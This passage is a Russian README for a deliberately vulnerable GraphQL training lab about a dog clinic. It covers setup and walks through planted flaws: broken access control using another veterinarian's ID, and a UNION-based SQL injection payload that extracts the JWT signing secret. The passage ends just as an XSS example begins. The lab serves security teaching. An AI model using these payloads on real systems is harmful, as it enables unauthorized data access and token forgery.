
Исследование GraphQL с точки зрения AppSec.
Была создана лабораторная работа для изучения различных проблем, которая выполнена в контексте ветеринарной клиники, занимающейся лечением собак.
Лабораторная работа разработана с использованием IntelliJ IDEA Community Edition.
Используются следующие домены:```text
127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local
Вот условия и предположения лабораторной работы:
* Ветеринар может быть связан с 0 или N собаками.
* Собака может быть связана с 0 или 1 ветеринаром.
* Ветеринар имеет свойство **Популярность**, которое хранится в базе данных, но не должно быть доступно для клиента GraphQL, так как это конфиденциальная информация.
* Точка потребления данных GraphQL — это ветеринар. Информация о собаках является публичной.
* Лабораторная работа явно является уязвимым приложением, в котором реализовано несколько уязвимостей, идентифицированных с помощью маркера `[VULN]` в комментариях.
* Что касается аутентификации, был реализован поддельный сторонний сервис (через сервлет), который возвращает JWT-токен, содержащий имя ветеринара в самом токене.
После запуска с помощью конфигурации запуска в проекте или командной строки `mvn spring-boot:run` лабораторная работа доступна по следующим конечным точкам:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
Для упаковки приложения в виде переносимого jar-файла используйте команду `mvn package` (предварительно собранный jar-файл доступен [здесь](https://github.com/righettod/poc-graphql/releases)):
* Jar-файл будет создан в папке *target* и будет называться *graphql-poc.jar*.
* Используйте команду `java -jar graphql-poc.jar` для запуска приложения.
## Развертывание в Docker
> Образ публикуется ежедневно на [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)
Для развертывания приложения в Docker-контейнере выполните следующие шаги:
1. Убедитесь, что у вас установлен `docker`.
2. `git clone` репозиторий.
3. Перейдите в клонированную директорию.
4. Соберите Docker-образ с помощью `docker build -t poc-graphql .`
5. Теперь на вашем компьютере создан образ с именем **poc-graphql:latest**.
6. Запустите контейнер с помощью `docker run -p 8080:8080 poc-graphql:latest`
7. Получите доступ к лабораторной работе по следующим конечным точкам:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
## Уязвимости в безопасности
### Авторизация
*нарушение управления доступом*
[CWE-285](https://cwe.mitre.org/data/definitions/285.html)
#### Проблема
Поскольку GraphQL основан на одной конечной точке, на которую отправляются все запросы, а авторизация выходит за рамки спецификации (нет встроенных функций).
Приложение должно самостоятельно реализовывать логику авторизации.
В моей лабораторной работе есть уязвимость в этом месте, так как проверка токена доступа не проверяет, принадлежит ли токен ветеринару, переданному в **veterinaryId**
**Пример:**
Я запрашиваю токен доступа для **Доктора Жюльена**, который имеет идентификатор **3** в хранилище, отправляя этот GraphQL-запрос:```javascript
query getAccessToken {
auth(veterinaryName: "Julien")
}
Я получаю токен доступа в следующем ответе GraphQL:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }
Я отправляю GraphQL-запрос к запросу `myInfo(...)`, используя полученный токен доступа, НО указываю идентификатор **2**, который является идентификатором **доктора Бенуа**:```javascript
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
}
Я получаю в ответе GraphQL список собак, связанных с Dr Benoit:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...
#### Рекомендация
С помощью GraphQL мы перешли от матрицы авторизации с использованием `Role x Feature` к безопасности на уровне данных с использованием `Role x Data`, потому что это также единые конечные точки. Идентичность и роли пользователя должны передаваться на верхний уровень, отвечающий за получение данных (или воздействие на них), чтобы применить проверку с использованием идентичности пользователя перед получением данных.
### Инъекция
[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
#### Проблема
В зависимости от того, как информация из GraphQL-запроса/мутации/подписки используется сервером GraphQL для воздействия на хранилища данных, существует возможность внедрения.
В моих лабораторных работах есть уязвимость в этом месте, связанная с SQLi в запросе `dogs(namePrefix: String, limit: Int = 500): [Dog!]`, так как параметр **namePrefix** используется в конкатенации строк для построения SQL-запроса.
**Пример:**
Я отправляю этот GraphQL-запрос, чтобы вывести содержимое таблицы `CONFIG````javascript
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
В ответе GraphQL я получаю секрет, используемый для подписи JWT token, вместе с именем собаки, название которой начинается на ab:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }
Относительно XSS интересно отметить, что ответ GraphQL отражает параметр, отправленный в случае неудачной проверки отправленного запроса.
**Пример:**